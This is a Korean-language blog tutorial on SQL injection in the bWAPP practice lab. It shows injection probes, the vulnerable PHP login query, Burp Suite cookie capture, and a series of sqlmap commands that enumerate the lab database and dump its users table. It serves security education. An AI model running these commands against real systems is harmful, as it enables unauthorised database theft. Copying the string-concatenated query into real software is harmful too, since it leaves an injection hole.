정보보안(구버전)/ bWAPP 2019. 2. 1. 10:20

웹 해킹 bWAPP - 17. A1 - Injection - SQL Injection(Login Form/User)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

1. Injection

 

 - OWASP Top10 A1 - 악의적인 명령 삽입
 - 서버로 전송되는 요청 정보에 악의적인 명령을 삽입하여 불필요한 동작을 실시하거나, 서버/시스템/DB 중요 정보를

   획득할 수 있는 취약점이다.
 - Ex) HTML 인젝션, SQL 인젝션, PHP 인젝션, XML 인젝션

 

 

 

2. SQLmap

 

 - SQL 인젝션 자동화 도구

 - Kali Linux에 설치되어 있음

 

17-0. sqlmap 도움말.txt

 

 

 

3. Injection - SQL Injection(Login Form/User)

 

 - 이 시나리오는 로그인시 ID/패스워드를 한줄의 쿼리로 입력받지 않기 때문에 SQLmap를 통해서 확인하도록 한다.

 

17-1. bWAPP 데이터베이스.txt


 

Ex1) Injection - SQL Injection(Login Form/User) 이해

 

 

보안 레벨 선택 및 시나리오 선택


 

 

'(작은 따옴표)를 입력하여 취약점이 있는지 확인 실시(ID/PW를 한줄의 SQL 구문으로 입력 받지 않음)

 

 

 

' or 1=1# 을 입력하여 로그인 시도 및 로그인 실패

 

 

 

bee@bee-box:/var/www/bWAPP$ ls -l sqli_16.php
-rw-rw-r-- 1 root www-data 6640 2014-11-02 23:52 sqli_16.php

bee@bee-box:/var/www/bWAPP$ vi sqli_16.php

~ 중간 생략 ~


        $login = $_POST["login"];
        $login = sqli($login);

 

        $password = $_POST["password"];
        $password = sqli($password);
        $password = hash("sha1", $password, false);

 

        $sql = "SELECT * FROM users WHERE login = '" . $login . "'";

                                                                     로그인 입력 (로그인 값만 SQL으로 넘겨줌) 


        // echo $sql;

        $recordset = mysql_query($sql, $link);

        if(!$recordset)
        {

            die("Error: " . mysql_error());

        }

        else
        {

            $row = mysql_fetch_array($recordset);


            if($row["login"] && $password == $row["password"])  // Login&Password가 일치하면 힌트 출력 실시
            {

                // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
                $message =  "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) . "</b></p>";
                // $message = $row["login"];

            }

 

:q!

 

 

 

 

Ex3) 버프슈트를 이용하여 쿠키값 획득 (실습 진행시 쿠키값이 변경될 수 있으니, 안되면 신규 쿠키 정보 확인)

 

 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

'abc/abc' 입력 -> 'Login' 버튼 클릭

 


 

버프슈트 Intercept 내용 확인

 

 

 

'Intercept is off' 확인

 

 

 

Ex4) SQLmap을 이용한 공격 실시 I

 

 - 인젝션 유형 : SQL Inection(Login Form/User)

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_16.php

 

17-2. sqlmap 공격-1.txt

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=a4a1e3adee790a6ecca9a5fa4b69a7f3" --data "login=abc&password=abc&form=submit" --dbs

 

~ 중간 생략 ~

 

available databases [5]:
[*] bWAPP
[*] cisco
[*] drupageddon
[*] information_schema
[*] mysql

 

[13:22:37] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 13:22:37

 

 

 

 

Ex5) SQLmap을 이용한 공격 실시 II

 

 - 인젝션 유형 : SQL Inection(Login Form/User)

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_16.php

 

17-3. sqlmap 공격-2.txt

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=a4a1e3adee790a6ecca9a5fa4b69a7f3" --data "login=abc&password=abc&form=submit" -D bWAPP --tables

 

~ 중간 생략 ~

 

Database: bWAPP
[5 tables]
+----------+
| blog     |
| heroes   |
| movies   |
| users    |
| visitors |
+----------+

 

[13:24:38] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.20.205'

 

[*] shutting down at 13:24:38

 

 

 

 

Ex6) SQLmap을 이용한 공격 실시 III

 

 - 인젝션 유형 : SQL Inection(Login Form/User)

 - 페이지 주소 : http://192.168.20.205/bWAPP/sqli_16.php

 

17-4. sqlmap 공격-3.txt

 

 

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=a4a1e3adee790a6ecca9a5fa4b69a7f3" --data "login=abc&password=abc&form=submit" -D bWAPP -T users --columns

 

root@kali:~# sqlmap -u "http://192.168.20.205/bWAPP/sqli_16.php" --cookie="security_level=0; PHPSESSID=a4a1e3adee790a6ecca9a5fa4b69a7f3" --data "login=abc&password=abc&form=submit" -D bWAPP -T users -C login,password,secret --dump

 

~ 중간 생략 ~

 

Database: bWAPP                                                               
Table: users
[2 entries]
+--------+------------------------------------------------+-------------------------------------+
| login  | password                                       | secret                              |
+--------+------------------------------------------------+-------------------------------------+
| A.I.M. | 6885858486f31043e5839c735d99457f045affd0 (bug) | A.I.M. or Authentication Is Missing |
| bee    | 6885858486f31043e5839c735d99457f045affd0 (bug) | Any bugs?                           |
+--------+------------------------------------------------+-------------------------------------+

 

[*] shutting down at 13:27:49

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)


웹해킹 17. bWAPP Injection - SQL Injection(Login Form&User)   https://youtu.be/3YC1264OsJw

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q